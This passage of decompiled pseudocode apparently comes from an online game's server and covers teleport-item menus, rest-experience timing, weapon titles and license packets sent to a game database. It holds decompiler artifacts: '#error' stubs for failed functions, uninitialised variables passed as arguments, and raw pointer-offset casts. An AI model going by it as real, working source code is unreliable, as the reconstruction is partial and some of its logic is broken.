--funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ServerMenuFuncter::smfm_Silverwing_LocSet"); } //----- (0052F030) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_SilverWingMenu(void *this, __int16 slot, int itm) { void *v3; // esi@1 int v4; // eax@3 const char *v5; // eax@3 const char *v6; // eax@4 const char *v7; // eax@5 void *v8; // eax@5 void *v9; // eax@5 char v10; // ST28_1@5 __int16 v11; // ST2C_2@5 int v12; // ST30_4@5 void (__thiscall *v13)(ServerMenuFuncter *, #434 *, ServerMenuArgument *); // [sp-Ch] [bp-15Ch]@0 const char *v14; // [sp-8h] [bp-158h]@0 ServerMenuArgument *v15; // [sp-4h] [bp-154h]@0 __int16 invenloc; // [sp+0h] [bp-150h]@0 __int16 invenloca; // [sp+0h] [bp-150h]@3 ServerMenuArgument portal; // [sp+8h] [bp-148h]@3 ServerMenuArgument cancel; // [sp+70h] [bp-E0h]@3 ServerMenuArgument setloc; // [sp+D8h] [bp-78h]@3 unsigned int v21; // [sp+140h] [bp-10h]@6 int v22; // [sp+14Ch] [bp-4h]@1 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_SilverWingMenu"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_SilverWingMenu"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v22 = 0; if ( ServerMenuActor::sma_IsReady((ServerMenuActor *)((char *)v3 + 68324)) && !*(_DWORD *)((char *)v3 + 68275) ) { v4 = *(_DWORD *)((char *)v3 + 78); *((_WORD *)v3 + 34152) = -1; *((_DWORD *)v3 + 17077) = 0; *((_DWORD *)v3 + 17081) = *(_DWORD *)v4; *((_DWORD *)v3 + 17082) = *(_DWORD *)(v4 + 4); invenloca = invenloc & 0x3FF | 0x2400; *(_WORD *)&cancel.sma_link.sml_lnkinf.index[0] = invenloca ^ (invenloca ^ slot) & 0x3FF; *(_WORD *)&portal.sma_link.sml_lnkinf.index[0] = invenloca ^ (invenloca ^ slot) & 0x3FF; *(_WORD *)&setloc.sma_link.sml_lnkinf.index[0] = invenloca ^ (invenloca ^ slot) & 0x3FF; v5 = ShineScript::ss_String(&shinescriptmenusting, "SilverWingTitle"); ShineObjectClass::ShinePlayer::sp_ServerMenuTitle(v3, v5); if ( *(_BYTE *)(itm + 10) ) { v6 = ShineScript::ss_String(&shinescriptmenusting, "SilverWingPortal"); ShineObjectClass::ShinePlayer::sp_ServerMenuItem(v3, ServerMenuFuncter::smfm_Silverwing_Portal, v6, &portal); } ShineScript::ss_String(&shinescriptetc, "Cancel"); v7 = ShineScript::ss_String(&shinescriptmenusting, "SilverWingLocSet"); v8 = ShineObjectClass::ShinePlayer::sp_ServerMenuItem(v3, ServerMenuFuncter::smfm_Silverwing_LocSet, v7, &setloc); v9 = ShineObjectClass::ShinePlayer::sp_ServerMenuItem(v8, v13, v14, v15); ShineObjectClass::ShinePlayer::sp_ServerMenuOpen(v9, v10, v11, v12, invenloca); } --funcallanalizer.fca_stackpoint; v22 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_SilverWingMenu"); __security_check_cookie(v21); } //----- (0052F210) -------------------------------------------------------- char __thiscall UseEffect::UseItemSilverWing::uib_DirectUse(UseEffect::UseItemSilverWing *this, #434 *a2, int slot, ItemTotalInformation *itm) { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "UseEffect::UseItemSilverWing::uib_DirectUse"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "UseEffect::UseItemSilverWing::uib_DirectUse"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; ShineObjectClass::ShinePlayer::sp_SilverWingMenu((void *)a2, slot, (int)itm); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "UseEffect::UseItemSilverWing::uib_DirectUse"); return 1; } //----- (0052F2B0) -------------------------------------------------------- void __thiscall RestExpCalculate::RestExpCalculate(RestExpCalculate *this) { RestExpCalculate *v1; // esi@1 v1 = this; this->m_NeedTime = ShineCommonParameter::operator_>(&shineparam)->MinNeedTime; v1->m_FirstAddBuffTime = ShineCommonParameter::operator_>(&shineparam)->DefaultBonusTime; v1->m_InterValTime = ShineCommonParameter::operator_>(&shineparam)->IntervalTime; v1->m_AddBuffTime = ShineCommonParameter::operator_>(&shineparam)->AddBuffTime; v1->m_BuffMaxTime = ShineCommonParameter::operator_>(&shineparam)->MaxBuffTime; } //----- (0052F310) -------------------------------------------------------- unsigned int __thiscall RestExpCalculate::CalRestExpforMilliSecond(RestExpCalculate *this, const int *rNewTime, const int *rOldTime) { unsigned int result; // eax@2 int v4; // eax@3 int v5; // edx@4 int v6; // eax@4 int v7; // ecx@4 if ( *rNewTime <= *rOldTime || (v4 = *rNewTime - *rOldTime, v4 < this->m_NeedTime) ) { result = 0; } else { v5 = this->m_FirstAddBuffTime; v6 = this->m_AddBuffTime * (v4 - this->m_NeedTime) / this->m_InterValTime; v7 = 1000 * this->m_BuffMaxTime; result = 1000 * (v5 + v6); if ( v7 < result ) result = v7; } return result; } //----- (0052F360) -------------------------------------------------------- unsigned int __thiscall RestExpCalculate::CalRestExpforMilliSecondNotDefaultTime(RestExpCalculate *this, const int *rNewTime, const int *rOldTime) { unsigned int result; // eax@2 int v4; // eax@3 int v5; // ecx@4 if ( *rNewTime <= *rOldTime || (v4 = *rNewTime - *rOldTime, v4 < this->m_NeedTime) ) { result = 0; } else { result = 1000 * this->m_AddBuffTime * ((v4 - this->m_NeedTime) / this->m_InterValTime + 1); v5 = 1000 * this->m_BuffMaxTime; if ( v5 < result ) result = v5; } return result; } //----- (0052F3A0) -------------------------------------------------------- #error "52F3A0: undefined or illegal type '#434' (funcsize=108)" //----- (0052F4C0) -------------------------------------------------------- WEAPON_TITLE_DATA *__thiscall CWeaponTitleZone::GetLevelData(CWeaponTitleZone *this, unsigned __int16 MobID, ItemTotalInformation *pWeapon) { ItemTotalInformation *v3; // ebx@1 WEAPON_TITLE_DATA *result; // eax@2 signed int v5; // esi@3 unsigned __int16 *v6; // edi@3 CWeaponTitle *thisa; // [sp+0h] [bp-4h]@1 v3 = pWeapon; thisa = (CWeaponTitle *)this; if ( pWeapon ) { v5 = 0; v6 = (unsigned __int16 *)((char *)&pWeapon->iti_itemstruct.itemattr.dlot.lot + 3); while ( MobDataBox::mdb_SpeciesDistance(&mobdatabox, *v6, MobID) < 0 ) { ++v5; v6 += 3; if ( v5 >= 3 ) return 0; } result = CWeaponTitle::GetLevelData( thisa, *(_WORD *)((char *)&v3->iti_itemstruct.itemattr.dlot.lot + 6 * v5 + 3), *(_DWORD *)(&v3->iti_itemstruct.itemattr.amulet.strengthen + 6 * v5) & 0xFFFFFFF, (unsigned int *)&pWeapon); } else { result = 0; } return result; } //----- (0052F540) -------------------------------------------------------- WEAPON_TITLE_DATA *__thiscall CWeaponTitleZone::GetLevelData(CWeaponTitleZone *this, unsigned __int16 MobID, ItemTotalInformation *pWeapon, unsigned int *pLevel) { WEAPON_TITLE_DATA *result; // eax@1 char *v5; // edx@2 result = 0; if ( pWeapon ) { v5 = (char *)&pWeapon->iti_itemstruct.itemattr.dlot.lot + 3; while ( *(_WORD *)v5 != MobID ) { result = (WEAPON_TITLE_DATA *)((char *)result + 1); v5 += 6; if ( (signed int)result >= 3 ) return 0; } result = CWeaponTitle::GetLevelData( &this->baseclass_0, MobID, *(_DWORD *)(&pWeapon->iti_itemstruct.itemattr.amulet.strengthen + 6 * (_DWORD)result) & 0xFFFFFFF, pLevel); } return result; } //----- (0052F590) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::so_ply_EquipWeapon(void *this, int inv) { void *v2; // esi@1 int v3; // esi@1 int v4; // eax@1 int v5; // edi@1 unsigned __int16 v6; // bx@1 FunctionProfiler::PerformanceRecorder *v7; // ecx@4 int result; // eax@5 int v9; // eax@7 int v10; // esi@7 int v11; // eax@8 char *v12; // [sp-10h] [bp-24h]@4 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_EquipWeapon"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_ply_EquipWeapon"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = (int)((char *)v2 + 32168); *(_WORD *)inv = 8204; v4 = (**(int (__thiscall ***)(_DWORD, _DWORD))v3)(v3, 12); v5 = v4; v6 = *(_WORD *)(v4 + 8); if ( v6 == -1 ) { *(_WORD *)inv = *(_WORD *)inv & 0xFC0A | 0xA; v9 = (**(int (__thiscall ***)(_DWORD, _DWORD))v3)(v3, 10); v10 = v9; if ( *(_WORD *)(v9 + 8) == -1 ) goto LABEL_4; v11 = (*(int (**)(void))(**(_DWORD **)(v9 + 112) + 36))(); --funcallanalizer.fca_stackpoint; v12 = "ShineObjectClass::ShinePlayer::so_ply_EquipWeapon"; v7 = &_PerformanceRecorder; if ( v11 != 5 ) goto LABEL_5; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_EquipWeapon"); result = v10; } else { if ( (*(int (**)(void))(**(_DWORD **)(v4 + 112) + 36))() != 5 ) { AssertClass::ac_AssertFail(&shineassert, "ShinePlayer::so_ply_EquipWeapon : not weapon in righthand", v6); LABEL_4: --funcallanalizer.fca_stackpoint; v7 = &_PerformanceRecorder; v12 = "ShineObjectClass::ShinePlayer::so_ply_EquipWeapon"; LABEL_5: FunctionProfiler::PerformanceRecorder::pr_Exit(v7, v12); return 0; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_EquipWeapon"); result = v5; } return result; } //----- (0052F720) -------------------------------------------------------- #error "52F720: undefined or illegal type '#325' (funcsize=106)" //----- (0052F8B0) -------------------------------------------------------- #error "52F8B0: undefined or illegal type '#325' (funcsize=109)" //----- (0052FA50) -------------------------------------------------------- void __thiscall GameDBSession::gds_NC_WT_MOB_KILLCOUNT_SET_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len) { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "GameDBSession::gds_NC_WT_MOB_KILLCOUNT_SET_ACK"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "GameDBSession::gds_NC_WT_MOB_KILLCOUNT_SET_ACK"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "GameDBSession::gds_NC_WT_MOB_KILLCOUNT_SET_ACK"); } //----- (0052FAA0) -------------------------------------------------------- void __thiscall GameDBSession::gds_NC_WT_TITLE_SET_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len) { FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "GameDBSession::gds_NC_WT_TITLE_SET_ACK"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "GameDBSession::gds_NC_WT_TITLE_SET_ACK"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "GameDBSession::gds_NC_WT_TITLE_SET_ACK"); } //----- (0052FAF0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_saveweapontitle(void *this, int itemkey, __int16 mobid, int KillCount) { void *v4; // edi@1 char *v5; // esi@1 int v6; // edx@1 ZoneBaseSession *v7; // eax@3 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_saveweapontitle"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_saveweapontitle"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v5 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 23561; *((_WORD *)v5 + 1) = *((_WORD *)v4 + 2); *((_DWORD *)v5 + 1) = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 836))(v4); *((_DWORD *)v5 + 2) = *(_DWORD *)itemkey; v6 = *(_DWORD *)(itemkey + 4); *(_DWORD *)(v5 + 18) = KillCount; *((_DWORD *)v5 + 3) = v6; *((_WORD *)v5 + 8) = mobid; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 22) ) { v7 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2gameDB); ProtocolPacket::pp_SendPacket(&gpp, v7); } else { AssertClass::ac_AssertFail(&shineassert, "ShinePlayer::so_weapontitle To sock2gameDB : Packet Too Long", 22); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_saveweapontitle"); } //----- (0052FC00) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_WeaponLicenseClear(void *this, int pReq, int weaponcell, int clearitemcell) { void *v4; // ebx@1 __int16 v5; // dx@1 signed int v6; // eax@1 char *v7; // ecx@1 char *v8; // eax@5 int v9; // eax@7 char *v10; // ebx@8 int v11; // eax@8 int v12; // eax@8 int v13; // eax@9 int v14; // esi@11 int v15; // ecx@12 ZoneBaseSession *v16; // eax@13 void *v17; // ebx@15 int v18; // esi@15 int v19; // eax@15 void *v20; // [sp+28h] [bp-10Ch]@1 int clearattrb; // [sp+2Ch] [bp-108h]@8 int clearitemlot; // [sp+34h] [bp-100h]@8 ItemTotalInformation weapon; // [sp+3Ch] [bp-F8h]@1 ItemTotalInformation clearitem; // [sp+ACh] [bp-88h]@8 unsigned int cookie; // [sp+120h] [bp-14h]@18 int v26; // [sp+130h] [bp-4h]@1 v4 = this; v20 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_WeaponLicenseClear"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_WeaponLicenseClear"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; memcpy(&weapon, (const void *)weaponcell, 0x6Cu); *(_WORD *)((char *)&weapon.iti_itemstruct.itemattr.binditem.portal[9].y + 1) = *(_WORD *)(weaponcell + 108); BYTE3(weapon.iti_itemstruct.itemattr.binditem.portal[9].y) = *(_BYTE *)(weaponcell + 110); v5 = *(_WORD *)(pReq + 4); v6 = 0; v26 = 0; v7 = (char *)&weapon.iti_itemstruct.itemattr.dlot.lot + 3; do { if ( *(_WORD *)v7 == v5 ) break; ++v6; v7 += 6; } while ( v6 < 3 ); if ( v6 == 3 ) { v8 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 23554; *((_WORD *)v8 + 1) = *(_WORD *)pReq; *((_WORD *)v8 + 2) = *(_WORD *)(pReq + 2); v8[6] = 0; *(_WORD *)(v8 + 7) = 2496; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 9) ) { v9 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 764))(v4); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v9 + 12))(v9, v4, &gpp); } else { AssertClass::ac_AssertFail(&shineassert, "GameDBSession::sp_NC_WT_LICENSE_REQ : Packet Too Long", 9); } } else { v10 = gpp.pp_Buffer; v11 = 6 * v6; *(_WORD *)((char *)&weapon.iti_itemstruct.itemattr.dlot.lot + v11 + 3) = -1; *(_DWORD *)(&weapon.iti_itemstruct.itemattr.amulet.strengthen + v11) = 0; *(_WORD *)v10 = 23559; *((_WORD *)v10 + 1) = *((_WORD *)v20 + 2); *((_DWORD *)v10 + 1) = (*(int (__thiscall **)(void *))(*(_DWORD *)v20 + 836))(v20); *((_WORD *)v10 + 4) = *((_WORD *)v20 + 28870); *(_QWORD *)(v10 + 14) = *(_QWORD *)&weapon; *((_WORD *)v10 + 11) = *(_WORD *)(pReq + 4); *((_WORD *)v10 + 5) = *(_WORD *)pReq; *((_WORD *)v10 + 6) = *(_WORD *)(pReq + 2); clearattrb = *(_DWORD *)(clearitemcell + 112); v12 = (*(int (__stdcall **)(int))(**(_DWORD **)(clearitemcell + 112) + 24))(clearitemcell + 8); memcpy(&clearitem, (const void *)clearitemcell, 0x6Cu); *(_WORD *)((char *)&clearitem.iti_itemstruct.itemattr.binditem.portal[9].y + 1) = *(_WORD *)(clearitemcell + 108); BYTE3(clearitem.iti_itemstruct.itemattr.binditem.portal[9].y) = *(_BYTE *)(clearitemcell + 110); *((_DWORD *)v10 + 6) = *(_DWORD *)clearitemcell; *((_DWORD *)v10 + 7) = *(_DWORD *)(clearitemcell + 4); clearitemlot = v12; *((_WORD *)v10 + 16) = *(_WORD *)(clearitemcell + 8); if ( v12 == 1 ) { v10[34] = 1; v13 = 0; *(_WORD *)(v10 + 35) = 0; } else { v10[34] = 0; (*(void (__stdcall **)(SHINE_ITEM_STRUCT *, int))(*(_DWORD *)clearattrb + 28))(&clearitem.iti_itemstruct, v12 - 1); v13 = (**(int (__stdcall ***)(SHINE_ITEM_STRUCT *, char *))clearattrb)(&clearitem.iti_itemstruct, v10 + 37) - (_DWORD)(v10 + 37); *(_WORD *)(v10 + 35) = 35; } v14 = v13 + 37; if ( ProtocolPacket::pp_SetPacketLen(&gpp, v13 + 37) ) { v16 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2gameDB); ProtocolPacket::pp_SendPacket(&gpp, v16); } else { AssertClass::ac_AssertFail(&shineassert, "ShinePlayer::sp_WeaponLicenseClear : Packet Too Long", v14); } if ( clearitemlot == 1 ) { v17 = v20; v18 = (int)((char *)v20 + 57736); v19 = (*(int (__thiscall **)(char *, _DWORD, int, int, int))(*((_DWORD *)v20 + 14434) + 40))( (char *)v20 + 57736, *((_WORD *)v20 + 28870), clearitemcell, pReq, pReq); } else { LOWORD(v15) = *((_WORD *)v20 + 28870); v18 = (int)((char *)v20 + 57736); v19 = (*(int (__thiscall **)(char *, int, int, ItemTotalInformation *, int, int))(*((_DWORD *)v20 + 14434) + 48))( (char *)v20 + 57736, v15, clearitemcell, &clearitem, pReq, pReq); v17 = v20; } LOWORD(v19) = *((_WORD *)v17 + 28870); (*(void (__thiscall **)(int, int, int, ItemTotalInformation *, int, int))(*(_DWORD *)v18 + 48))( v18, v19, weaponcell, &weapon, pReq + 2, pReq + 2); ++*(_WORD *)(v18 + 4); } --funcallanalizer.fca_stackpoint; v26 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_WeaponLicenseClear"); __security_check_cookie(cookie); } //----- (0052FF00) -------------------------------------------------------- signed int __thiscall ShineObjectClass::ShinePlayer::so_weapontitle(void *this, unsigned __int16 *mobid, int OldRank) { void *v3; // ebx@1 int v4; // edx@1 void *v5; // edi@1 unsigned __int16 *v6; // ebp@3 MobDataBox::MobDataBoxIndex *v7; // eax@3 int v9; // esi@7 int v10; // eax@7 signed int v11; // esi@9 unsigned __int16 *v12; // edi@9 char *v13; // edi@13 unsigned __int16 v14; // ax@13 int v15; // esi@13 int v16; // esi@13 unsigned int v17; // ecx@13 char *v18; // esi@16 __int16 v19; // ax@16 char v20; // al@16 int v21; // eax@17 char *v22; // [sp-8h] [bp-30h]@2 ITEM_INVEN inv; // [sp+Ch] [bp-1Ch]@1 char *cell; // [sp+10h] [bp-18h]@1 unsigned int NewRank; // [sp+14h] [bp-14h]@13 FunctionEntarance _; // [sp+18h] [bp-10h]@1 int v27; // [sp+24h] [bp-4h]@1 unsigned int mobida; // [sp+2Ch] [bp+4h]@13 v3 = this; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::so_weapontitle"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_weapontitle"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_weapontitle"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = *(_DWORD *)v3; v27 = 0; v5 = (void *)(*(int (__thiscall **)(void *, ITEM_INVEN *))(v4 + 1876))(v3, &inv); cell = (char *)v5; if ( !v5 ) { v27 = -1; v22 = "ShineObjectClass::ShinePlayer::so_weapontitle"; LABEL_6: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v22); return 0; } v6 = mobid; v7 = MobDataBox::operator__(&mobdatabox, *mobid); if ( !v7 ) { AssertClass::ac_AssertFail(&shineassert, "ShinePlayer::so_weapontitle : Invalid mob", *mobid); LABEL_5: v27 = -1; v22 = "ShineObjectClass::ShinePlayer::so_weapontitle"; goto LABEL_6; } v9 = v7->data->Level; v10 = (unsigned __int8)(*(int (__thiscall **)(void *))(*(_DWORD *)v3 + 1220))(v3); if ( v9 < (unsigned __int8)v10 - 5 || v9 > v10 + 20 ) goto LABEL_5; v11 = 0; v12 = (unsigned __int16 *)((char *)v5 + 13); while ( MobDataBox::mdb_SpeciesDistance(&mobdatabox, *v12, *mobid) < 0 ) { ++v11; v12 += 3; if ( v11 >= 3 ) goto LABEL_5; } v13 = &cell[6 * v11]; v14 = *(_WORD *)(v13 + 13); *mobid = v14; v15 = *(_DWORD *)(v13 + 15) & 0xFFFFFFF; mobida = CWeaponTitle::GetLevel(&gWeaponTitle.baseclass_0, v14, *(_DWORD *)(v13 + 15) & 0xFFFFFFF); v16 = v15 + 1; *(_DWORD *)(v13 + 15) ^= (v16 ^ *(_DWORD *)(v13 + 15)) & 0xFFFFFFF; v17 = CWeaponTitle::GetLevel(&gWeaponTitle.baseclass_0, *v6, v16); NewRank = v17; if ( !(v16 % 0xAu) || mobida != v17 ) { ShineObjectClass::ShinePlayer::sp_saveweapontitle(v3, (int)cell, *v6, v16); if ( mobida != NewRank ) { v18 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 23555; v19 = *(_WORD *)((**((int (__stdcall ***)(_DWORD))v3 + 8042))(12) + 8); v18[4] = NewRank; *((_WORD *)v18 + 1) = 2 * (v19 != -1) + 8202; v20 = ProtocolPacket::pp_SetPacketLen(&gpp, 5); if ( !AssertClass::operator__( &shineassert, (unsigned __int8)v20, "ShinePlayer::so_weapontitle To ShinePlayer : Packet Too Long", 5) ) { v21 = (*(int (__thiscall **)(void *))(*(_DWORD *)v3 + 764))(v3); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v21 + 12))(v21, v3, &gpp); } } } --funcallanalizer.fca_stackpoint; v27 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_weapontitle"); return 1; } //----- (00530180) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_WT_LICENSE_REQ(void *this, int netcmd, int len, __int16 handle) { void *v4; // ebx@1 int v5; // edi@1 __int16 v6; // ax@5 int v7; // esi@7 unsigned __int16 v8; // ax@10 ItemDataBox::ItemDataBoxIndex *v9; // eax@11 int v10; // eax@14 int v11; // ebp@14 unsigned __int16 v12; // ax@15 ItemDataBox::ItemDataBoxIndex *v13; // eax@18 int v14; // eax@21 int v15; // esi@21 int v16; // esi@21 int v17; // ST40_4@21 int v18; // eax@21 int v19; // eax@21 int v20; // eax@22 int v21; // eax@24 char *v22; // esi@24 int v23; // eax@24 int v24; // edx@24 int v25; // edx@24 char v26; // al@24 ZoneBaseSession *v27; // eax@25 char *v28; // eax@32 int v29; // eax@34 signed __int16 Error; // [sp+40h] [bp-98h]@4 int pReq; // [sp+44h] [bp-94h]@1 int weaponcell; // [sp+48h] [bp-90h]@7 int mobid; // [sp+4Ch] [bp-8Ch]@20 FunctionEntarance _; // [sp+50h] [bp-88h]@1 int v35; // [sp+54h] [bp-84h]@5 ItemTotalInformation titled; // [sp+58h] [bp-80h]@21 unsigned int v37; // [sp+C8h] [bp-10h]@36 int v38; // [sp+D4h] [bp-4h]@1 v4 = this; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::sp_NC_WT_LICENSE_REQ"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_WT_LICENSE_REQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_WT_LICENSE_REQ"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v5 = netcmd + 2; v38 = 0; pReq = netcmd + 2; if ( !(_S4_25 & 1) ) { _S4_25 |= 1u; stru_124F321C.cmc_AllowMode = 70; atexit(_E5_74); } if ( !((1 << **((_BYTE **)v4 + 929)) & stru_124F321C.cmc_AllowMode) ) { Error = 2495; goto SEND_ERROR; } v35 = netcmd + 4; v6 = *(_WORD *)(netcmd + 4); Error = 2494; if ( (unsigned int)*(_WORD *)(netcmd + 4) >> 10 == 8 ) { weaponcell = (*(int (__thiscall **)(char *, int))*((int (__thiscall ***)(_DWORD, _DWORD))v4 + 8042))( (char *)v4 + 32168, v6 & 0x3FF); v7 = weaponcell; } else { if ( (unsigned int)*(_WORD *)(netcmd + 4) >> 10 != 9 ) goto SEND_ERROR; v7 = (*(int (__thiscall **)(char *, int))*((int (__thiscall ***)(_DWORD, _DWORD))v4 + 8884))( (char *)v4 + 35536, v6 & 0x3FF); weaponcell = v7; } if ( v7 ) { v8 = *(_WORD *)(v7 + 8); if ( v8 != -1 ) { v9 = ItemDataBox::operator__(&itemdatabox, v8); if ( v9 ) { if ( v9->data->Class == 5 ) { Error = 2495; if ( (*(_WORD *)v5 & 0xFC00) == 9216 ) { v10 = (*(int (__thiscall **)(char *, int))*((int (__thiscall ***)(_DWORD, _DWORD))v4 + 8884))( (char *)v4 + 35536, *(_WORD *)v5 & 0x3FF); v11 = v10; if ( v10 ) { v12 = *(_WORD *)(v10 + 8); if ( v12 != -1 ) { if ( v12 == unk_1257419C ) { ShineObjectClass::ShinePlayer::sp_WeaponLicenseClear(v4, v5, v7, v11); LABEL_27: v38 = -1; FunctionEntarance::_FunctionEntarance(&_); goto LABEL_36; } v13 = ItemDataBox::operator__(&itemdatabox, v12); if ( v13 ) { if ( v13->data->Class == 16 ) { mobid = (*(int (__stdcall **)(MobDataBox *, ItemDataBox *, int))(**(_DWORD **)(v11 + 112) + 84))( &mobdatabox, &itemdatabox, v11); if ( (_WORD)mobid != -1 ) { v14 = *(_DWORD *)(v7 + 112); memcpy(&titled, (const void *)v7, 0x6Cu); v15 = v7 + 108; *(_WORD *)((char *)&titled.iti_itemstruct.itemattr.binditem.portal[9].y + 1) = *(_WORD *)v15; BYTE3(titled.iti_itemstruct.itemattr.binditem.portal[9].y) = *(_BYTE *)(v15 + 2); v16 = *(_DWORD *)v14; v17 = v14; v18 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 1352))(v4); v19 = (*(int (__thiscall **)(int, ItemTotalInformation *, int, int))(v16 + 68))( v17, &titled, mobid, v18) - 1; if ( v19 ) { v20 = v19 - 1; if ( v20 ) { if ( v20 != 1 ) { v21 = (*(int (__thiscall **)(char *, _DWORD, int, int, int))(*((_DWORD *)v4 + 14434) + 40))( (char *)v4 + 57736, *((_WORD *)v4 + 28870), v11, pReq, pReq); LOWORD(v21) = *((_WORD *)v4 + 28870); (*(void (__thiscall **)(char *, int, int, ItemTotalInformation *, int, int))(*((_DWORD *)v4 + 14434) + 48))( (char *)v4 + 57736, v21, weaponcell, &titled, v35, v35); v22 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 23557; *((_WORD *)v22 + 1) = *((_WORD *)v4 + 2); *((_DWORD *)v22 + 1) = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 836))(v4); *((_WORD *)v22 + 4) = *((_WORD *)v4 + 28870); *(_DWORD *)(v22 + 10) = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 836))(v4); v23 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 1352))(v4); Name4::operator_((int)(v22 + 14), v23); *(_DWORD *)(v22 + 38) = *(_DWORD *)v11; v24 = *(_DWORD *)(v11 + 4); *((_WORD *)v22 + 23) = mobid; *(_DWORD *)(v22 + 42) = v24; *(_DWORD *)(v22 + 30) = *(_DWORD *)weaponcell; *(_DWORD *)(v22 + 34) = *(_DWORD *)(weaponcell + 4); v25 = v35; *((_WORD *)v22 + 24) = *(_WORD *)pReq; *((_WORD *)v22 + 25) = *(_WORD *)v25; v26 = ProtocolPacket::pp_SetPacketLen(&gpp, 52); if ( !AssertClass::operator__( &shineassert, (unsigned __int8)v26, "ShinePlayer::sp_NC_WT_LICENSE_REQ : Packet Too Long", 52) ) { v27 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2gameDB); ProtocolPacket::pp_SendPacket(&gpp, v27); } ++*((_WORD *)v4 + 28870); goto LABEL_27; } Error = 2493; } else { Error = 2492; } } else { Error = 2491; } v5 = netcmd + 2; goto SEND_ERROR; } } } } } } } } } } SEND_ERROR: v28 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 23554; *((_WORD *)v28 + 1) = *(_WORD *)v5; *((_WORD *)v28 + 2) = *(_WORD *)(v5 + 2); *(_WORD *)(v28 + 7) = Error; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 9) 